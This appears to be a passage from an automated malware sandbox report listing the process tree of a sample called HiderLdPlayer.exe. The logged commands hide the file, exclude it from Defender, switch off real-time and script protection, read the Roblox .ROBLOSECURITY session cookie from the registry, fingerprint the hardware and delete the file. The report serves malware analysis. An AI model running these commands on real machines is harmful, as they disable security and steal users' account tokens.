        337⤵
        
        PID:2948
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        336⤵
        
        PID:2192
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        335⤵
        
        PID:3480
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        334⤵
        
        PID:5964
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        333⤵
        
        PID:6960
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        332⤵
        
        PID:2620
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        331⤵
        
        PID:5068
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        330⤵
        
        PID:2100
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        329⤵
        
        PID:1820
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        328⤵
        
        PID:6960
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        327⤵
        
        PID:7144
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        326⤵
        
        PID:2368
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        325⤵
        
        PID:6740
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        326⤵
        
        PID:4988
        
        C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        326⤵
        Views/modifies file attributes
        
        PID:2416
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe'
        326⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4696
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        326⤵
        
        PID:5288
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        326⤵
        
        PID:1952
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        326⤵
        
        PID:6684
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        326⤵
        
        PID:6552
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        326⤵
        
        PID:4024
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        326⤵
        
        PID:5956
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        326⤵
        
        PID:860
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        326⤵
        Detects videocard installed
        
        PID:1256
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe" && pause
        326⤵
        
        PID:6880
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        327⤵
        Runs ping.exe
        
        PID:3060
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        324⤵
        
        PID:6880
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        323⤵
        
        PID:6600
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        322⤵
        
        PID:5112
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        321⤵
        
        PID:6632
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        320⤵
        
        PID:4832
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        319⤵
        
        PID:6664
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        318⤵
        
        PID:3548
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        317⤵
        
        PID:4968
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        316⤵
        
        PID:6756
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        315⤵
        
        PID:5232
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        314⤵
        
        PID:2620
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        313⤵
        
        PID:732
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        312⤵
        
        PID:2980
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        311⤵
        
        PID:3928
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        310⤵
        
        PID:5876
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        309⤵
        
        PID:6552
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        308⤵
        
        PID:2196
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        307⤵
        
        PID:6788
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        306⤵
        
        PID:6844
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        305⤵
        
        PID:6448
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        304⤵
        
        PID:6616
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        305⤵
        
        PID:1996
        
        C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        305⤵
        Views/modifies file attributes
        
        PID:7116
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe'
        305⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5952
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        305⤵
        
        PID:5800
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        305⤵
        
        PID:3656
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        305⤵
        
        PID:6832
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        305⤵
        
        PID:7148
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        305⤵
        
        PID:6512
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        305⤵
        
        PID:4912
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        305⤵
        
        PID:5964
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        305⤵
        Detects videocard installed
        
        PID:3204
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe" && pause
        305⤵
        
        PID:4900
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        306⤵
        Runs ping.exe
        
        PID:4968
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        303⤵
        
        PID:1020
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        302⤵
        
        PID:6908
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        301⤵
        
        PID:6208
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        300⤵
        
        PID:4900
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        299⤵
        
        PID:7156
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        298⤵
        
        PID:7140
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        297⤵
        
        PID:6608
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        296⤵
        
        PID:2888
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        295⤵
        
        PID:2204
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        294⤵
        
        PID:5632
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        293⤵
        
        PID:6564
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        292⤵
        
        PID:4580
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        291⤵
        
        PID:6420
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        290⤵
        
        PID:6824
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        289⤵
        
        PID:6788
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        288⤵
        
        PID:7112
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        287⤵
        
        PID:5232
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        286⤵
        
        PID:2620
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        285⤵
        
        PID:5172
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        284⤵
        
        PID:3872
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        283⤵
        
        PID:6636
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        282⤵
        
        PID:7140
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        281⤵
        
        PID:6776
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        280⤵
        
        PID:6540
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        281⤵
        
        PID:1756
        
        C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        281⤵
        Views/modifies file attributes
        
        PID:6740
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe'
        281⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2764
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        281⤵
        
        PID:6508
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        281⤵
        
        PID:6624
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        281⤵
        
        PID:6772
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        281⤵
        
        PID:2620
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        281⤵
        
        PID:3832
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        281⤵
        
        PID:5964
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        281⤵
        
        PID:5884
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        281⤵
        Detects videocard installed
        
        PID:7144
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe" && pause
        281⤵
        
        PID:6292
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        282⤵
        Runs ping.exe
        
        PID:6852
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        279⤵
        
        PID:6976
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        278⤵
        
        PID:4184
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        277⤵
        
        PID:6420
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        276⤵
        
        PID:6740
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        275⤵
        
        PID:2620
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        274⤵
        
        PID:6448
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        273⤵
        
        PID:2888
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        272⤵
        
        PID:4824
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        271⤵
        
        PID:6636
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        270⤵
        
        PID:4084
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        269⤵
        
        PID:6464
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        268⤵
        
        PID:7144
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        267⤵
        
        PID:5496
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        266⤵
        
        PID:5680
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        265⤵
        
        PID:6848
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        264⤵
        
        PID:6784
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        263⤵
        
        PID:2312
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        262⤵
        
        PID:7104
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        261⤵
        
        PID:6612
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        260⤵
        
        PID:6748
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        261⤵
        
        PID:2980
        
        C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        261⤵
        Views/modifies file attributes
        
        PID:4824
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe'
        261⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:372
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        261⤵
        
        PID:7024
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        261⤵
        
        PID:6908
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        261⤵
        
        PID:7112
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        261⤵
        
        PID:548
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        261⤵
        
        PID:6540
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        261⤵
        
        PID:6592
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        261⤵
        
        PID:5972
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        261⤵
        Detects videocard installed
        
        PID:4344
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe" && pause
        261⤵
        
        PID:6036
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        262⤵
        Runs ping.exe
        
        PID:2980
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        259⤵
        
        PID:7072
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        258⤵
        
        PID:1756
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        257⤵
        
        PID:5540
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        256⤵
        
        PID:4024
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        255⤵
        
        PID:6544
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        254⤵
        
        PID:4344
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        253⤵
        
        PID:3832
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        252⤵
        
        PID:6636
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        251⤵
        
        PID:4604
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        250⤵
        
        PID:1020
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        249⤵
        
        PID:7024
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        248⤵
        
        PID:6448
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        247⤵
        
        PID:6752
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        246⤵
        
        PID:7040
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        245⤵
        
        PID:6800
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        244⤵
        
        PID:3832
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        243⤵
        
        PID:6968
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        242⤵
        
        PID:7068
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        241⤵
        
        PID:7152
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        240⤵
        
        PID:6268
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        239⤵
        
        PID:5288
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        238⤵
        
        PID:6488
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        237⤵
        
        PID:7008
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        236⤵
        
        PID:6968
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        235⤵
        
        PID:6692
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        236⤵
        
        PID:736
        
        C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        236⤵
        Views/modifies file attributes
        
        PID:4380
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe'
        236⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6512
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
